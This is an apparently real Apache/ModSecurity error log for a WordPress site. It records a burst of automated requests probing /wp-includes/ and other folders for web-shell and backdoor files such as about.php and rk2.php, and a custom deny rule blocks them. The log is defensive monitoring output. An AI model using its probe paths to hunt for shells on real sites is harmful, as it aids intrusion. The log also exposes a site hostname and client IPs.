[Thu Nov 13 07:17:31.076645 2025] [:error] [pid 34451:tid 34458] [client 63.135.161.134:55403] [client 63.135.161.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/about.php"] [unique_id "aRUVizRcD8KetQb4RaqiOAAAAUU"]
[Thu Nov 13 07:17:35.512022 2025] [:error] [pid 34451:tid 34459] [client 63.135.161.152:39927] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aRUVjzRcD8KetQb4RaqiQwAAAUY"]
[Thu Nov 13 07:17:42.413958 2025] [:error] [pid 22307:tid 22331] [client 63.135.161.137:51639] [client 63.135.161.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.137, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aRUVlqr7fLMQQanZ_9ybfgAAANY"]
[Thu Nov 13 07:17:46.527357 2025] [:error] [pid 22307:tid 22317] [client 63.135.161.137:51639] [client 63.135.161.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aRUVmqr7fLMQQanZ_9ybggAAAMg"]
[Thu Nov 13 07:17:47.562702 2025] [:error] [pid 34451:tid 34462] [client 63.135.161.135:28289] [client 63.135.161.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aRUVmzRcD8KetQb4RaqiZAAAAUk"]
[Thu Nov 13 07:18:04.489490 2025] [:error] [pid 34451:tid 34460] [client 173.239.211.73:47795] [client 173.239.211.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aRUVrDRcD8KetQb4RaqiigAAAUc"]
[Thu Nov 13 07:18:08.320026 2025] [:error] [pid 22224:tid 22298] [client 63.135.161.155:36173] [client 63.135.161.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aRUVsLuEVuTj3a_UBfAekgAAAJI"]
[Thu Nov 13 07:18:09.329635 2025] [:error] [pid 22566:tid 22584] [client 63.135.161.137:54995] [client 63.135.161.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/about.php"] [unique_id "aRUVsTfdqWaUbu3e06-wvgAAARA"]
[Thu Nov 13 07:18:11.586239 2025] [:error] [pid 22566:tid 22579] [client 63.135.161.132:22067] [client 63.135.161.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aRUVszfdqWaUbu3e06-wwQAAAQs"]
[Thu Nov 13 07:18:12.647282 2025] [:error] [pid 22307:tid 22333] [client 63.135.161.156:38919] [client 63.135.161.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aRUVtKr7fLMQQanZ_9ybkAAAANg"]
[Thu Nov 13 07:18:15.668321 2025] [autoindex:error] [pid 34451:tid 34476] [client 63.135.161.150:48831] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:18:19.785291 2025] [:error] [pid 34451:tid 34453] [client 63.135.161.150:48831] [client 63.135.161.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aRUVuzRcD8KetQb4RaqinwAAAUA"]
[Thu Nov 13 07:18:26.623709 2025] [:error] [pid 22566:tid 22581] [client 63.135.161.138:23507] [client 63.135.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aRUVwjfdqWaUbu3e06-w0gAAAQ0"]
[Thu Nov 13 07:18:30.883724 2025] [:error] [pid 34451:tid 34472] [client 63.135.161.155:28267] [client 63.135.161.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aRUVxjRcD8KetQb4RaqisQAAAVM"]
[Thu Nov 13 07:18:33.909862 2025] [:error] [pid 22223:tid 22268] [client 63.135.161.152:30361] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aRUVyd6it_tNBGH9EAE0DgAAAE8"]
[Thu Nov 13 07:18:39.470918 2025] [:error] [pid 22307:tid 22325] [client 173.239.211.75:62949] [client 173.239.211.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aRUVz6r7fLMQQanZ_9ybpAAAANA"]
[Thu Nov 13 07:18:40.422919 2025] [:error] [pid 22222:tid 22248] [client 63.135.161.153:41665] [client 63.135.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aRUV0DL-5qXvQuZkA4G_RwAAABY"]
[Thu Nov 13 07:18:43.997691 2025] [:error] [pid 34451:tid 34472] [client 63.135.161.137:26661] [client 63.135.161.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aRUV0zRcD8KetQb4RaqiwAAAAVM"]
[Thu Nov 13 07:18:49.502897 2025] [:error] [pid 22224:tid 22283] [client 63.135.161.151:46799] [client 63.135.161.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.151, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/cgi-bin/wp-login.php"] [unique_id "aRUV2buEVuTj3a_UBfAeqwAAAIM"]
[Thu Nov 13 07:18:52.468294 2025] [:error] [pid 22224:tid 22302] [client 63.135.161.151:46799] [client 63.135.161.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aRUV3LuEVuTj3a_UBfAerQAAAJY"]
[Thu Nov 13 07:18:53.365103 2025] [:error] [pid 22223:tid 22266] [client 173.239.211.67:56313] [client 173.239.211.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aRUV3d6it_tNBGH9EAE0FwAAAE0"]
[Thu Nov 13 07:19:06.772016 2025] [:error] [pid 22566:tid 22571] [client 63.135.161.135:34315] [client 63.135.161.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.135, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aRUV6jfdqWaUbu3e06-xBwAAAQM"]
[Thu Nov 13 07:19:08.271238 2025] [:error] [pid 22566:tid 22574] [client 63.135.161.135:34315] [client 63.135.161.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aRUV7DfdqWaUbu3e06-xCAAAAQY"]
[Thu Nov 13 07:19:09.224780 2025] [:error] [pid 34451:tid 34454] [client 173.239.211.64:40631] [client 173.239.211.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/network.php"] [unique_id "aRUV7TRcD8KetQb4RaqjUAAAAUE"]
[Thu Nov 13 07:19:10.159263 2025] [:error] [pid 22222:tid 22246] [client 173.239.211.73:52651] [client 173.239.211.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aRUV7jL-5qXvQuZkA4G_WgAAABQ"]
[Thu Nov 13 07:19:17.454747 2025] [:error] [pid 22223:tid 22259] [client 63.135.161.138:46487] [client 63.135.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aRUV9d6it_tNBGH9EAE0RwAAAEY"]
[Thu Nov 13 07:19:31.695655 2025] [:error] [pid 22224:tid 22282] [client 173.239.211.75:34137] [client 173.239.211.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aRUWA7uEVuTj3a_UBfAe1gAAAII"]
[Thu Nov 13 07:19:37.304422 2025] [:error] [pid 22223:tid 22263] [client 63.135.161.136:42131] [client 63.135.161.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aRUWCd6it_tNBGH9EAE0VAAAAEo"]
[Thu Nov 13 07:19:44.632895 2025] [:error] [pid 22222:tid 22247] [client 173.239.211.68:29245] [client 173.239.211.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aRUWEDL-5qXvQuZkA4G_mgAAABU"]
[Thu Nov 13 07:19:49.171063 2025] [:error] [pid 22224:tid 22301] [client 63.135.161.146:37609] [client 63.135.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aRUWFbuEVuTj3a_UBfAe5QAAAJU"]
[Thu Nov 13 07:19:51.290010 2025] [:error] [pid 34451:tid 34457] [client 173.239.211.64:41735] [client 173.239.211.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aRUWFzRcD8KetQb4RaqjnAAAAUQ"]
[Thu Nov 13 07:19:54.703567 2025] [:error] [pid 22307:tid 22318] [client 63.135.161.136:32677] [client 63.135.161.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aRUWGqr7fLMQQanZ_9ycRwAAAMk"]
[Thu Nov 13 07:19:57.802201 2025] [:error] [pid 22224:tid 22295] [client 63.135.161.152:28371] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aRUWHbuEVuTj3a_UBfAe5wAAAI8"]
[Thu Nov 13 07:20:03.226460 2025] [:error] [pid 34451:tid 34457] [client 173.239.211.68:42615] [client 173.239.211.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aRUWIzRcD8KetQb4RaqjvQAAAUQ"]
[Thu Nov 13 07:20:09.252784 2025] [:error] [pid 22222:tid 22250] [client 63.135.161.134:21553] [client 63.135.161.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aRUWKTL-5qXvQuZkA4G_sgAAABg"]
[Thu Nov 13 07:20:15.709869 2025] [:error] [pid 22223:tid 22253] [client 63.135.161.151:61743] [client 63.135.161.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aRUWL96it_tNBGH9EAE0lQAAAEA"]
[Thu Nov 13 07:20:19.889986 2025] [:error] [pid 22224:tid 22302] [client 63.135.161.132:28089] [client 63.135.161.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aRUWM7uEVuTj3a_UBfAe_QAAAJY"]
[Thu Nov 13 07:20:24.198369 2025] [proxy_fcgi:error] [pid 34451:tid 34453] [client 63.135.161.154:40393] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:20:27.867074 2025] [:error] [pid 34451:tid 34462] [client 63.135.161.154:40393] [client 63.135.161.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aRUWOzRcD8KetQb4Raqj5AAAAUk"]
[Thu Nov 13 07:20:51.303744 2025] [:error] [pid 34451:tid 34468] [client 173.239.211.65:49461] [client 173.239.211.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aRUWUzRcD8KetQb4RaqkEgAAAU8"]
[Thu Nov 13 07:20:52.310053 2025] [:error] [pid 22224:tid 22300] [client 173.239.211.59:58809] [client 173.239.211.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aRUWVLuEVuTj3a_UBfAfCwAAAJQ"]
[Thu Nov 13 07:20:58.830413 2025] [:error] [pid 22307:tid 22313] [client 63.135.161.153:54649] [client 63.135.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "aRUWWqr7fLMQQanZ_9yccAAAAMQ"]
[Thu Nov 13 07:20:59.789560 2025] [:error] [pid 22224:tid 22296] [client 173.239.211.61:59677] [client 173.239.211.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aRUWW7uEVuTj3a_UBfAfFgAAAJA"]
[Thu Nov 13 07:21:02.785416 2025] [:error] [pid 22224:tid 22285] [client 63.135.161.152:34473] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aRUWXruEVuTj3a_UBfAfGgAAAIU"]
[Thu Nov 13 07:21:13.344200 2025] [:error] [pid 22223:tid 22266] [client 63.135.161.137:23007] [client 63.135.161.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aRUWad6it_tNBGH9EAE0wwAAAE0"]
[Thu Nov 13 07:21:16.370633 2025] [:error] [pid 22222:tid 22242] [client 63.135.161.131:33697] [client 63.135.161.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.131, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aRUWbDL-5qXvQuZkA4G_1wAAABA"]
[Thu Nov 13 07:21:19.286867 2025] [:error] [pid 22222:tid 22235] [client 63.135.161.131:33697] [client 63.135.161.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aRUWbzL-5qXvQuZkA4G_2QAAAAk"]
[Thu Nov 13 07:21:20.321933 2025] [:error] [pid 22223:tid 22263] [client 63.135.161.137:37425] [client 63.135.161.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aRUWcN6it_tNBGH9EAE0ywAAAEo"]
[Thu Nov 13 07:21:26.690993 2025] [:error] [pid 22307:tid 22320] [client 173.239.211.75:44547] [client 173.239.211.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aRUWdqr7fLMQQanZ_9ycowAAAMs"]
[Thu Nov 13 07:21:30.427442 2025] [:error] [pid 22222:tid 22231] [client 173.239.211.67:52373] [client 173.239.211.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "aRUWejL-5qXvQuZkA4G_3wAAAAU"]
[Thu Nov 13 07:21:36.222949 2025] [proxy_fcgi:error] [pid 22222:tid 22245] [client 173.239.211.73:23463] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:21:46.044916 2025] [proxy_fcgi:error] [pid 22222:tid 22248] [client 173.239.211.73:23463] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:21:48.291298 2025] [:error] [pid 22222:tid 22231] [client 173.239.211.73:23463] [client 173.239.211.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "aRUWjDL-5qXvQuZkA4HAAgAAAAU"]
[Thu Nov 13 07:21:54.609853 2025] [:error] [pid 22307:tid 22318] [client 63.135.161.152:20615] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aRUWkqr7fLMQQanZ_9ycvQAAAMk"]
